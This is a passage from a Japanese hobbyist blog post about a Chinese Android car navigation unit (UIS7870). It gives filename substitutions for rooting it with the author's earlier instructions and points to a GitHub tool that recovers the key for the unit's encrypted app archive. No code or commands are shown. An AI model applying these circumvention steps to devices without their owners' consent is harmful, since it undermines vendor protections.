13のroot化を中華ナビで挑戦するほどのチャレンジをする気も起きなかったため、今回はroot化までは行いませんでした。\n\n可能性としての話では、これまで同様の手順でroot化できるでしょう。\n興味がある方は**自己責任**で、過去記事の手順を下表の値の通り読み替えて挑戦してみてください。\n\n種類 | UIS7862 | **UIS7870**\n:---:|---|---\nアーカイブ名 | 6315\\_1.zip | 6318\\_1.zip\n実行ファイル名 | lsec6315update | lsec6318update\nスクリプト名 | lsec_updatesh/7862lsec.sh | lsec_updatesh/lsecsh.bin\n\n## アプリケーションアーカイブの展開\n\nファームウェアに埋め込まれずにバンドルされるアプリは AllAppUpdateA13.bin ファイルに格納されるように変更されました。\nこれまでの [AllApp.pkg](../2020/2020-09-11-rooting-joying-sp9853i-carnavi.md#システムアプリケーションアーカイブ)とはファイル構造からして違い、暗号化ZIPアーカイブになりました。\n暗号化キーは秘匿されているものの、キーの元になる秘密鍵は lsec6318update ファイルに隠されていて、それと合わせて解析するプログラムがGitHubに転がっています。\n\n[OT-dm/7870pwd_extract - GitHub](https://github.com/OT-dm/7870pwd_extract)\n\nこれを用いてキーを手に入れることができれば、あとは普通のZIPアーカイブとして展開することができます。\n\n## まとめ\n\nCarPlayのために無駄に高機能なナビを買ってしまった。猫に小判\n"]}]]]}" ssr="" client="load" opts="{"name":"Search","value":true}" await-children=""><section class="section-sm"><div class="container"><div class="row mb-10 justify-center"><div class="lg:col-8"><div class="flex flex-nowrap"><input class="form-input rounded-r-none" placeholder="Search posts" type="search" name="search" autoComplete="off" autofocus="" value=""/><button class="btn btn-primary rounded-l-none" type="submit"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z"></path></svg></button></div></div></div><div class="row"><div class="mx-auto pt-5 text-center"><h1 class="h2 mb-4">Search Post Here</h1><p>Search for posts by title, category, or tag.</p></div></div></div></section><!--astro:end--></astro-island> </main> <footer class="bg-theme-light dark:bg-darkmode-theme-light"> <div class="container"> <div class="row items-center py-10"> <div class="mb-8 text-center lg:col-3 lg:mb-0 lg:text-left"> <a href="/" class="navbar-brand inline-block"> <img src="/assets/images/title.png" class="inline-block dark:hidden" alt="犬アイコンのみっきー" fit="contain" background="rgba(0,0,0,0)" style="height:64px;width:256px" width="512" height="128" loading="lazy" decoding="async"> <img src="/assets/images/title-darkmode.png" class="hidden dark:inline-block" alt="犬アイコンのみっきー" fit="contain" background="rgba(0,0,0,0)" style="height:64px;width:256px" width="512" height="128" loading="lazy" decoding="async"> </a> </div> <div class="mb-8 text-center lg:col-6 lg:mb-0"> <ul> <li class="m-3 inline-block"> <a href="/">Home</a> </li><li class="m-3 inline-block"> <a href="/about/">About</a> </li><li class="m-3 inline-block"> <a href="https://github.com/mzyy94.keys">Key</a> </li> </ul> </div> <div class="mb-8 text-center lg:col-3 lg:mb-0 lg:mt-0 lg:text-right"> <ul class="social-icons"> <li class="inline-block"> <a aria-label="mastodon" href="https://sns.mzyy94.com/@mzyy94" target="_blank" rel="noopener noreferrer nofollow"> <svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M480 173.59c0-104.13-68.26-134.65-68.26-134.65C377.3 23.15 318.2 16.5 256.8 16h-1.51c-61.4.5-120.46 7.15-154.88 22.94 0 0-68.27 30.52-68.27 134.65 0 23.85-.46 52.35.29 82.59C34.91 358 51.11 458.37 145.32 483.29c43.43 11.49 80.73 13.89 110.76 12.24 54.47-3 85-19.42 85-19.42l-1.79-39.5s-38.93 12.27-82.64 10.77c-43.31-1.48-89-4.67-96-57.81a108.44 108.44 0 0 1-1-14.9 558.91 558.91 0 0 0 96.39 12.85c32.95 1.51 63.84-1.93 95.22-5.67 60.18-7.18 112.58-44.24 119.16-78.09 10.42-53.34 9.58-130.17 9.58-130.17zm-80.54 134.16h-50V185.38c0-25.8-10.86-38.89-32.58-38.89-24 0-36.06 15.53-36.06 46.24v67h-49.66v-67c0-30.71-12-46.24-36.06-46.24-21.72 0-32.58 13.09-32.58 38.89v122.37h-50V181.67q0-38.65 19.75-61.39c13.6-15.15 31.4-22.92 53.51-22.92 25.58 0 44.95 9.82 57.75 29.48L256 147.69l12.45-20.85c12.81-19.66 32.17-29.48 57.75-29.48 22.11 0 39.91 7.77 53.51 22.92q19.79 22.72 19.75 61.39z"></path></svg> </a> </li> <li class="inline-block"> <a aria-label="github" href="https://github.com/mzyy94" target="_blank" rel="noopener noreferrer nofollow"> <svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M256 32C132.3 32 32 134.9 32 261.7c0 101.5 64.2 187.5 153.2 217.9a17.56 17.56 0 0 0 3.8.4c8.3 0 11.5-6.1 11.5-11.4 0-5.5-.2-19.9-.3-39.1a102.4 102.4 0 0 1-22.6 2.7c-43.1 0-52.9-33.5-52.9-33.5-10.2-26.5-24.9-33.6-24.9-33.6-19.5-13.7-.1-14.1 1.4-14.1h.1c22.5 2 34.3 23.8 34.3 23.8 11.2 19.6 26.2 25.1 39.6 25.1a63 63 0 0 0 25.6-6c2-14.8 7.8-24.9 14.2-30.7-49.7-5.8-102-25.5-102-113.5 0-25.1 8.7-45.6 23-61.6-2.3-5.8-10-29.2 2.2-60.8a18.64 18.64 0 0 1 5-.5c8.1 0 26.4 3.1 56.6 24.1a208.21 208.21 0 0 1 112.2 0c30.2-21 48.5-24.1 56.6-24.1a18.64 18.64 0 0 1 5 .5c12.2 31.6 4.5 55 2.2 60.8 14.3 16.1 23 36.6 23 61.6 0 88.2-52.4 107.6-102.3 113.3 8 7.1 15.2 21.1 15.2 42.5 0 30.7-.3 55.5-.3 63 0 5.4 3.1 11.5 11.4 11.5a19.35 19.35 0 0 0 4-.4C415.9 449.2 480 363.1 480 261.7 480 134.9 379.7 32 256 32z"></path></svg> </a> </li> <li class="inline-block"> <a aria-label="foursquare" href="https://foursquare.com/mzyy94" target="_blank" rel="noopener noreferrer nofollow"> <svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M376.76 32H138.54C105.67 32 96 56.8 96 72.41v379.64c0 17.59 9.42 24.12 14.72 26.27s19.91 4 28.67-6.17c0 0 112.47-130.89 114.4-132.83 2.92-2.93 2.92-2.93 5.84-2.93h72.77c30.58 0 35.49-21.87 38.69-34.75 2.65-10.79 32.48-164 42.45-212.56C421.14 52 411.74 32 376.76 32zm-5.67 269.64c2.65-10.79 32.48-164 42.45-212.56m-50.85 7.59-10 51.73c-1.19 5.65-8.28 11.6-14.86 11.6h-95.92c-10.44 0-17.91 6.14-17.91 16.6v13.45c0 10.47 7.52 17.89 18 17.89h81.85c7.38 0 14.61 8.11 13 16s-9.09 46.57-10 50.89-5.84 11.72-14.61 11.72H248c-11.7 0-15.24 1.54-23.07 11.3s-78.26 94.59-78.26 94.59c-.71.82-1.41.58-1.41-.31V95.9c0-6.69 5.8-14.53 14.48-14.53h191.14a12.42 12.42 0 0 1 11.81 15.3z"></path></svg> </a> </li> <li class="inline-block"> <a aria-label="rss feed" href="https://www.mzyy94.com/blog/rss.xml" target="_blank" rel="noopener noreferrer nofollow"> <svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M108.56 342.78a60.34 60.34 0 1 0 60.56 60.44 60.63 60.63 0 0 0-60.56-60.44z"></path><path d="M48 186.67v86.55c52 0 101.94 15.39 138.67 52.11s52 86.56 52 138.67h86.66c0-151.56-125.66-277.33-277.33-277.33z"></path><path d="M48 48v86.56c185.25 0 329.22 144.08 329.22 329.44H464C464 234.66 277.67 48 48 48z"></path></svg> </a> </li> <li class="inline-block"> <a aria-label="location" href="https://amzn.mzyy94.com" target="_blank" rel="noopener noreferrer nofollow"> <svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M48.48 378.73a300.52 300.52 0 0 0 152.89 95.92 262.57 262.57 0 0 0 159.3-17.25 225.52 225.52 0 0 0 66.79-47 6.36 6.36 0 0 0-2-8.53 11.76 11.76 0 0 0-8-.05 401.92 401.92 0 0 1-116.55 39.34 358.13 358.13 0 0 1-127.29-8.83 446.73 446.73 0 0 1-119.1-60.49 5 5 0 0 0-6.06 6.9z"></path><path d="M387.15 388.44a168.11 168.11 0 0 1 48.94-2.23l.67.13a10 10 0 0 1 7.37 12.05A204.71 204.71 0 0 1 429 444.47a2.55 2.55 0 0 0 1.66 3.18 2.51 2.51 0 0 0 2.23-.37A83.31 83.31 0 0 0 464 382.86a12.44 12.44 0 0 0-10.22-13.22A95.75 95.75 0 0 0 384.91 384a2.55 2.55 0 0 0-.57 3.55 2.52 2.52 0 0 0 2.81.89zm-82.91-63.52a164 164 0 0 1-28.92 25.3A135.16 135.16 0 0 1 208.63 369a99.49 99.49 0 0 1-57.49-19.85 97.25 97.25 0 0 1-27.36-100.28 112.35 112.35 0 0 1 65.3-69.06 367.67 367.67 0 0 1 104.7-15.55V127A37.82 37.82 0 0 0 261 94.72a59.9 59.9 0 0 0-31.17 4.08 48.89 48.89 0 0 0-27.13 34.67 12 12 0 0 1-12.58 6.72l-50.9-4.5a11.38 11.38 0 0 1-8.38-10.16 103.66 103.66 0 0 1 36.61-63.45A143.86 143.86 0 0 1 257.85 32a146.24 146.24 0 0 1 84.27 27.67 86.82 86.82 0 0 1 30.7 70.22V258.8a84.46 84.46 0 0 0 8 31.28l15.87 23.23a13 13 0 0 1 0 11.23l-46.99 39.71a12.5 12.5 0 0 1-12.68-.44 244.84 244.84 0 0 1-32.78-38.89zm-10.6-116.83a257.68 257.68 0 0 0-44 2.89A63 63 0 0 0 208 242.54a63 63 0 0 0 3.07 54 40.6 40.6 0 0 0 47.11 12.19 78.61 78.61 0 0 0 35.46-55.58v-45.06"></path></svg> </a> </li> </ul> </div> </div> </div> <div class="border-t border-border py-7 dark:border-darkmode-border"> <div class="container text-center text-light dark:text-darkmode-light"> <p>Copyright © 2023 mzyy94. Powered by <a href="https://astro.build/">Atsro</a> with <a href="https://github.com/zeon-studio/astroplate">Astroplate</a></p> </div> </div> </footer> </body></html>